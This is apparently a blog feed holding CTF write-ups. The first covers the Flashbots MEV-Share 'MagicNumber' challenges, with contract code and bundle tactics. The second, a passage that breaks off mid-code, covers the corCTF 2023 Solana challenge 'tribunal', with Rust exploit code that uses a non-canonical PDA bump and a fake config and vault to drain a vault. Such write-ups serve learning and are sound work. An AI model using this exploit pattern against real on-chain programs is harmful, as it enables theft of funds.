&lt;h2 data-ke-size=&quot;size26&quot;&gt;MevShareCTFMagicNumber&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;V1&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goerli.etherscan.io/address/0x118Bcb654d9A7006437895B51b5cD4946bF6CdC2#code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://goerli.etherscan.io/address/0x118Bcb654d9A7006437895B51b5cD4946bF6CdC2#code&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691384281943&quot; class=&quot;solidity reasonml&quot; data-ke-language=&quot;solidity&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract MevShareCTFMagicNumberV1 is MevShareCTFMagicNumber {
    constructor(MevShareCaptureLogger _mevShareCaptureLogger) MevShareCTFMagicNumber(_mevShareCaptureLogger) payable {
    }

    function claimReward(uint256 _magicNumber) external {
        require(claimRewardInternal(_magicNumber, 201));
    }
}

contract MevShareCTFMagicNumber is MevShareCTFBase {
    uint256 public activeBlock;
    uint256 private magicNumber;

    event Activate(uint256 lowerBound, uint256 upperBound);

    constructor(MevShareCaptureLogger _mevShareCaptureLogger) MevShareCTFBase(_mevShareCaptureLogger) payable {
    }

    function activateRewardMagicNumber(uint256 _lowerBound, uint256 _upperBound, uint256 _magicNumber) external payable onlyOwner {
        require (_lowerBound &amp;lt;= _magicNumber &amp;amp;&amp;amp; _upperBound &amp;gt;= _magicNumber);
        activeBlock = block.number;
        magicNumber = _magicNumber;
        emit Activate(_lowerBound, _upperBound);
    }

    function claimRewardInternal(uint256 _magicNumber, uint256 _captureId) internal returns (bool) {
        if (activeBlock != block.number || _magicNumber != magicNumber) {
            return false;
        }
        activeBlock = 0;
        magicNumber = 0;
        mevShareCaptureLogger.registerCapture(_captureId, tx.origin);
        return true;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691384326336&quot; class=&quot;json&quot; data-ke-language=&quot;json&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;hash&quot;: &quot;0xd83e6a0196e0916e6bff1cd70815c77a91c62be49bd181ff6a6c49d5d095d57b&quot;,
  &quot;logs&quot;: [
    {
      &quot;address&quot;: &quot;0x118bcb654d9a7006437895b51b5cd4946bf6cdc2&quot;,
      &quot;topics&quot;: [
        &quot;0x86a27c2047f889fafe51029e28e24f466422abe8a82c0c27de4683dda79a0b5d&quot;
      ],
      &quot;data&quot;: &quot;0x000000000000000000000000000000000000000000000000000d019ab51ef141000000000000000000000000000000000000000000000000000d019ab51ef169&quot;
    }
  ],
  &quot;txs&quot;: null,
  &quot;mevGasPrice&quot;: &quot;0x2faf080&quot;,
  &quot;gasUsed&quot;: &quot;0x8ca0&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We only know lower bound and upper bound, so we can bruteforce with &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&quot;canRevert&quot;: True&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Acutally, during the ctf, I misunderstood that if I pass a wrong magicNumber, my transaction is revert.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;But when I writing this post, canRevert didn't matter.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691481474443&quot; class=&quot;text&quot; data-ke-language=&quot;text&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bundle = {
  hash,
  tx of calling claimReward() and canRevert: True,
  tx of calling claimReward() and canRevert: True,
  tx of calling claimReward() and canRevert: True,
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;V2&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goerli.etherscan.io/address/0x9BE957D1c1c1F86Ba9A2e1215e9d9EEFdE615a56#code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://goerli.etherscan.io/address/0x9BE957D1c1c1F86Ba9A2e1215e9d9EEFdE615a56#code&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691384417874&quot; class=&quot;solidity reasonml&quot; data-ke-language=&quot;solidity&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract MevShareCTFMagicNumberV2 is MevShareCTFMagicNumber {
    constructor(MevShareCaptureLogger _mevShareCaptureLogger) MevShareCTFMagicNumber(_mevShareCaptureLogger) payable {
    }

    function claimReward(uint256 _magicNumber) external {
        require(tx.origin == msg.sender);
        require(claimRewardInternal(_magicNumber, 202));
    }
}

contract MevShareCTFMagicNumber is MevShareCTFBase {
    uint256 public activeBlock;
    uint256 private magicNumber;

    event Activate(uint256 lowerBound, uint256 upperBound);

    constructor(MevShareCaptureLogger _mevShareCaptureLogger) MevShareCTFBase(_mevShareCaptureLogger) payable {
    }

    function activateRewardMagicNumber(uint256 _lowerBound, uint256 _upperBound, uint256 _magicNumber) external payable onlyOwner {
        require (_lowerBound &amp;lt;= _magicNumber &amp;amp;&amp;amp; _upperBound &amp;gt;= _magicNumber);
        activeBlock = block.number;
        magicNumber = _magicNumber;
        emit Activate(_lowerBound, _upperBound);
    }

    function claimRewardInternal(uint256 _magicNumber, uint256 _captureId) internal returns (bool) {
        if (activeBlock != block.number || _magicNumber != magicNumber) {
            return false;
        }
        activeBlock = 0;
        magicNumber = 0;
        mevShareCaptureLogger.registerCapture(_captureId, tx.origin);
        return true;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691384467385&quot; class=&quot;json&quot; data-ke-language=&quot;json&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;hash&quot;: &quot;0x3217b8c344748db113616ba72f3058632f08c468f5df4a2476143d2629761a1b&quot;,
  &quot;logs&quot;: [
    {
      &quot;address&quot;: &quot;0x9be957d1c1c1f86ba9a2e1215e9d9eefde615a56&quot;,
      &quot;topics&quot;: [
        &quot;0x86a27c2047f889fafe51029e28e24f466422abe8a82c0c27de4683dda79a0b5d&quot;
      ],
      &quot;data&quot;: &quot;0x00000000000000000000000000000000000000000000000000066d947bde761200000000000000000000000000000000000000000000000000066d947bde763a&quot;
    }
  ],
  &quot;txs&quot;: null,
  &quot;mevGasPrice&quot;: &quot;0x2faf080&quot;,
  &quot;gasUsed&quot;: &quot;0x8ca0&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;tx.origin == msg.sender statment is added to claimReward().&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;But we can use the V1 solution since we are EoA.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;V3&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goerli.etherscan.io/address/0xe8b7475e2790409715af793f799f3cc80de6f071#code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://goerli.etherscan.io/address/0xe8b7475e2790409715af793f799f3cc80de6f071#code&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691384724271&quot; class=&quot;solidity reasonml&quot; data-ke-language=&quot;solidity&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract MevShareCTFMagicNumberV3 is MevShareCTFMagicNumber {
    // V3 only gets one shot per tx.origin. If any tx lands that is incorrect, that tx.origin does not get another shot
    mapping(address =&amp;gt; bool) public registeredV3Attempts;

    constructor(MevShareCaptureLogger _mevShareCaptureLogger) MevShareCTFMagicNumber(_mevShareCaptureLogger) payable {
    }

    function claimReward(uint256 _magicNumber) external {
        require(tx.origin == msg.sender);
        require(registeredV3Attempts[tx.origin] == false);
        registeredV3Attempts[tx.origin] = true;
        claimRewardInternal(_magicNumber, 203);
    }
}

contract MevShareCTFMagicNumber is MevShareCTFBase {
    uint256 public activeBlock;
    uint256 private magicNumber;

    event Activate(uint256 lowerBound, uint256 upperBound);

    constructor(MevShareCaptureLogger _mevShareCaptureLogger) MevShareCTFBase(_mevShareCaptureLogger) payable {
    }

    function activateRewardMagicNumber(uint256 _lowerBound, uint256 _upperBound, uint256 _magicNumber) external payable onlyOwner {
        require (_lowerBound &amp;lt;= _magicNumber &amp;amp;&amp;amp; _upperBound &amp;gt;= _magicNumber);
        activeBlock = block.number;
        magicNumber = _magicNumber;
        emit Activate(_lowerBound, _upperBound);
    }

    function claimRewardInternal(uint256 _magicNumber, uint256 _captureId) internal returns (bool) {
        if (activeBlock != block.number || _magicNumber != magicNumber) {
            return false;
        }
        activeBlock = 0;
        magicNumber = 0;
        mevShareCaptureLogger.registerCapture(_captureId, tx.origin);
        return true;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691384754683&quot; class=&quot;json&quot; data-ke-language=&quot;json&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;hash&quot;: &quot;0x1adbe7eccfc09c0d9a344d737d71c7c74dfee7d88c785594d72b1445f162f2a3&quot;,
  &quot;logs&quot;: [
    {
      &quot;address&quot;: &quot;0xe8b7475e2790409715af793f799f3cc80de6f071&quot;,
      &quot;topics&quot;: [
        &quot;0x86a27c2047f889fafe51029e28e24f466422abe8a82c0c27de4683dda79a0b5d&quot;
      ],
      &quot;data&quot;: &quot;0x00000000000000000000000000000000000000000000000000158d0d9733330300000000000000000000000000000000000000000000000000158d0d9733332b&quot;
    }
  ],
  &quot;txs&quot;: null,
  &quot;mevGasPrice&quot;: &quot;0x2faf080&quot;,
  &quot;gasUsed&quot;: &quot;0x8ca0&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We cannot use V1 solution because &lt;span style=&quot;background-color: #f6e199;&quot;&gt;if we get it wrong once, we can't try it forever.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I stupidly used the same V1 and V2 codes and it became a challenge that I couldn't solve. :rofl:&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As I set canRevert as True, my bundle could be processed.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;913&quot; data-origin-height=&quot;715&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4NxG2/btsqvkGsbcA/0dRHaQsgoIzmUQOOVxxqp0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4NxG2/btsqvkGsbcA/0dRHaQsgoIzmUQOOVxxqp0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4NxG2/btsqvkGsbcA/0dRHaQsgoIzmUQOOVxxqp0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4NxG2%2FbtsqvkGsbcA%2F0dRHaQsgoIzmUQOOVxxqp0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;913&quot; height=&quot;715&quot; data-origin-width=&quot;913&quot; data-origin-height=&quot;715&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;After that,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;my idea was that if I make many many bundles and do spamming, then the transaction that is not reverted could be processed.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691481495008&quot; class=&quot;text&quot; data-ke-language=&quot;text&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bundle = {
  hash,
  tx of calling claimReward() and canRevert: False,
}

bundle = {
  hash,
  tx of calling claimReward() and canRevert: False,
}

...

bundle = {
  hash,
  tx of calling claimReward() and canRevert: False,
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;But I got no success.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;The reason why this method was wrong was not the contract logic in which the transaction was reverted even if the magic number was wrong.. I misunderstood like V1, V2.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It&amp;nbsp;may&amp;nbsp;be&amp;nbsp;the&amp;nbsp;answer&amp;nbsp;by&amp;nbsp;chance. &lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;a href=&quot;https://github.com/y-pakorn/mev-share-ctf-rs/blob/master/src/handler.rs#L92&quot;&gt;https://github.com/y-pakorn/mev-share-ctf-rs/blob/master/src/handler.rs#L92&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Every time I tried, I succeeded in half an hour.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It was not be done in Python using Threading with the same transaction configuration and bundle...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Rust's asynchronous programming seems to be excellent..&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I don't know why this can be solution or not.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/minaminao/ctf-blockchain/tree/main/src/MEVShareCTF&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/minaminao/ctf-blockchain/tree/main/src/MEVShareCTF&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;To use &lt;span style=&quot;background-color: #f6e199;&quot;&gt;&quot;canRevert&quot;: False&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I can solve this by creating my contract that has a function that checks if I solved the problem&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;and if I couldn't solve it, I can revert it from the function so that the transaction is reverted.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691481388156&quot; class=&quot;solidity routeros&quot; data-ke-language=&quot;solidity&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pragma solidity 0.8.19;

interface IMevShareCaptureLogger {
    function winnerCaptures (address, uint) external view returns (bool);
}

contract Checker {
    IMevShareCaptureLogger public logger = IMevShareCaptureLogger(0x6C9c151642C0bA512DE540bd007AFa70BE2f1312);
    address public me = 0x846603628D071EcD09b876D842a809DF2A93309B;

    function checker() public view {
        require(logger.winnerCaptures(me, 203)==true);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691481502098&quot; class=&quot;text&quot; data-ke-language=&quot;text&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bundle = {
  hash,
  tx of calling claimReward() and canRevert: False,
  tx of calling checker() and canRevert: False,
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/168</guid>
      <comments>https://gss1.tistory.com/entry/flashbot-mev-share-ctf#entry168comment</comments>
      <pubDate>Tue, 8 Aug 2023 17:06:40 +0900</pubDate>
    </item>
    <item>
      <title>corCTF 2023 - blockchain(tribunal, baby-wallet)</title>
      <link>https://gss1.tistory.com/entry/corCTF-2023-blockchaintribunal-baby-wallet</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;One Solidity challenge and one Solana challenge were included in corCTF 2023, totalling two blockchian challenges.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;tribunal&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Analysis&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When I analyze the Solana chall, I first check if it uses Anchor.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;As this challenge does not include Anchor framework, we could refer to the following example and write a code.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;a href=&quot;https://github.com/barsa2000/sekai2022_gft/blob/main/solve/src/entrypoint.rs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/barsa2000/sekai2022_gft/blob/main/solve/src/entrypoint.rs&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;and writeups in my blog.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://hodl.page/entry/angstromctf-2023-Sailors-Revenge#toc2&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://hodl.page/entry/angstromctf-2023-Sailors-Revenge#toc2&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://hodl.page/entry/LA-CTF-2023-pwnbreakup-evmvm-sailor#toc10&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://hodl.page/entry/LA-CTF-2023-pwnbreakup-evmvm-sailor#toc10&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;According to server's logic&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. &lt;span style=&quot;background-color: #f6e199;&quot;&gt;admin&lt;/span&gt; creates &lt;span style=&quot;background-color: #f6e199;&quot;&gt;config&lt;/span&gt; and &lt;span style=&quot;background-color: #f6e199;&quot;&gt;vault&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. make five proposals&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. deposit 99sol into the &lt;span style=&quot;background-color: #f6e199;&quot;&gt;vault&lt;/span&gt; by &lt;span style=&quot;background-color: #f6e199;&quot;&gt;vote&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. execute user's ix&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5. if a &lt;span style=&quot;background-color: #f6e199;&quot;&gt;user&lt;/span&gt; has more than 90sol, success&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Root Cause&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;During the ctf, I thought there were three vulnerabilities in the &lt;span style=&quot;background-color: #f6e199;&quot;&gt;problem&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. In the finding the PDA, it uses a bump that users input, not canonical bump.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. In &lt;span style=&quot;background-color: #f6e199;&quot;&gt;withdraw&lt;/span&gt;, it does not check if vault's admin is equal to config's admin.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. After &lt;span style=&quot;background-color: #f6e199;&quot;&gt;withdraw&lt;/span&gt;, it does not decrease the config's balance.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/kangsangsoo/CTF-Writeups/tree/main/tribunal&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/kangsangsoo/CTF-Writeups/tree/main/tribunal&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. initialize a &lt;span style=&quot;background-color: #f6e199;&quot;&gt;fake config&lt;/span&gt; and a &lt;span style=&quot;background-color: #f6e199;&quot;&gt;fake vault&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. deposit the fund as much as possible into the &lt;span style=&quot;background-color: #f6e199;&quot;&gt;fake vault&lt;/span&gt; using &lt;span style=&quot;background-color: #f6e199;&quot;&gt;vote&lt;/span&gt;.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. withdraw the fund as much as the &lt;span style=&quot;background-color: #f6e199;&quot;&gt;fake config&lt;/span&gt; has from the &lt;span style=&quot;background-color: #f6e199;&quot;&gt;real vault&lt;/span&gt; that has 99sol.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. Repeat 2~3 until I secure more than 90sol.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;My first solution was that I set the loop count of for statements(2~3) to 30 without considering memory.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;But memory limit error occured.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;More precisely, I rewrote the code to minimize the number of for loop.&lt;/p&gt;
&lt;pre id=&quot;code_1690775646307&quot; class=&quot;rust&quot; data-ke-language=&quot;rust&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;entrypoint!(process_instruction);
    fn process_instruction(
        program_id: &amp;amp;Pubkey,
        accounts: &amp;amp;[AccountInfo],
        instruction_data: &amp;amp;[u8],
    ) -&amp;gt; ProgramResult {
        let account_iter = &amp;amp;mut accounts.iter();
        let program = next_account_info(account_iter)?;
        let user = next_account_info(account_iter)?;
        let config_addr = next_account_info(account_iter)?;
        let vault_addr = next_account_info(account_iter)?;
        let fake_config_addr = next_account_info(account_iter)?;;
        let fake_vault_addr = next_account_info(account_iter)?;
        let p4_addr = next_account_info(account_iter)?;
        let my_pg = next_account_info(account_iter)?;
        let sp = next_account_info(account_iter)?;

        let (_fake_config_addr, fake_config_bump) = find_my_program_address(&amp;amp;[&quot;CONFIG&quot;.as_bytes()], &amp;amp;program.key).unwrap();
        let (_fake_vault_addr, fake_vault_bump) = find_my_program_address(&amp;amp;[&quot;VAULT&quot;.as_bytes()], &amp;amp;program.key).unwrap();
        let (_p4_addr, _) = Pubkey::find_program_address(&amp;amp;[&quot;PROPOSAL&quot;.as_bytes(), &amp;amp;4_u8.to_be_bytes()], &amp;amp;program.key);

  

        let fisrt = Instruction::new_with_borsh(
            program.key.clone(),
            &amp;amp;TribunalInstruction::Initialize  {
                config_bump: fake_config_bump, 
                vault_bump: fake_vault_bump,
            },
            vec![
                AccountMeta::new(user.key.clone(), true),
                AccountMeta::new(fake_config_addr.key.clone(), false),
                AccountMeta::new(fake_vault_addr.key.clone(), false),
                AccountMeta::new_readonly(program.key.clone(), false),
                AccountMeta::new_readonly(sp.key.clone(), false),
            ],
        );

        invoke(&amp;amp;fisrt, 
            &amp;amp;[
                user.clone(),
                fake_config_addr.clone(),
                fake_vault_addr.clone(),
                sp.clone(),
                my_pg.clone(),
                program.clone(),
        ]);





        let mut amt = 800_000_000;
        let mut sum = 0;
        let mut balance_of_vault = 98_000_000_000;
        let mut balance_of_fake_vault = 0;


        for i in 0..=7_u8 {
            if i == 7 {
                let fisrt = Instruction::new_with_borsh(
                    program.key.clone(),
                    &amp;amp;TribunalInstruction::Withdraw { amount: 43_000_000_000  },
                    vec![
                        AccountMeta::new(user.key.clone(), true),
                        AccountMeta::new(fake_config_addr.key.clone(), false),
                        AccountMeta::new(fake_vault_addr.key.clone(), false),
                        AccountMeta::new_readonly(program.key.clone(), false),
                        AccountMeta::new_readonly(sp.key.clone(), false),
                    ],
                );
            
                invoke(&amp;amp;fisrt, 
                    &amp;amp;[
                        user.clone(),
                        fake_vault_addr.clone(),
                        fake_config_addr.clone(),
                        sp.clone(),
                        my_pg.clone(),
                        program.clone(),
                ]);
                break
            }

            balance_of_fake_vault += amt;

            let fisrt = Instruction::new_with_borsh(
                program.key.clone(),
                &amp;amp;TribunalInstruction::Vote { proposal_id: 4, amount: amt },
                vec![
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(fake_config_addr.key.clone(), false),
                    AccountMeta::new(fake_vault_addr.key.clone(), false),
                    AccountMeta::new(p4_addr.key.clone(), false),
                    AccountMeta::new_readonly(program.key.clone(), false),
                    AccountMeta::new_readonly(sp.key.clone(), false),
                ],
            );

            invoke(&amp;amp;fisrt, 
                &amp;amp;[
                    user.clone(),
                    fake_vault_addr.clone(),
                    fake_config_addr.clone(),
                    p4_addr.clone(),
                    sp.clone(),
                    my_pg.clone(),
                    program.clone(),
            ]);




            let target = std::cmp::min(balance_of_fake_vault-100000, balance_of_vault);
            balance_of_vault -= target;
            sum += target;

            let fisrt = Instruction::new_with_borsh(
                program.key.clone(),
                &amp;amp;TribunalInstruction::Withdraw { amount: target},
                vec![
                    AccountMeta::new(user.key.clone(), true),
                    AccountMeta::new(fake_config_addr.key.clone(), false),
                    AccountMeta::new(vault_addr.key.clone(), false),
                    AccountMeta::new_readonly(program.key.clone(), false),
                    AccountMeta::new_readonly(sp.key.clone(), false),
                ],
            );

            invoke(&amp;amp;fisrt, 
                &amp;amp;[
                    user.clone(),
                    vault_addr.clone(),
                    fake_config_addr.clone(),
                    sp.clone(),
                    my_pg.clone(),
                    program.clone(),
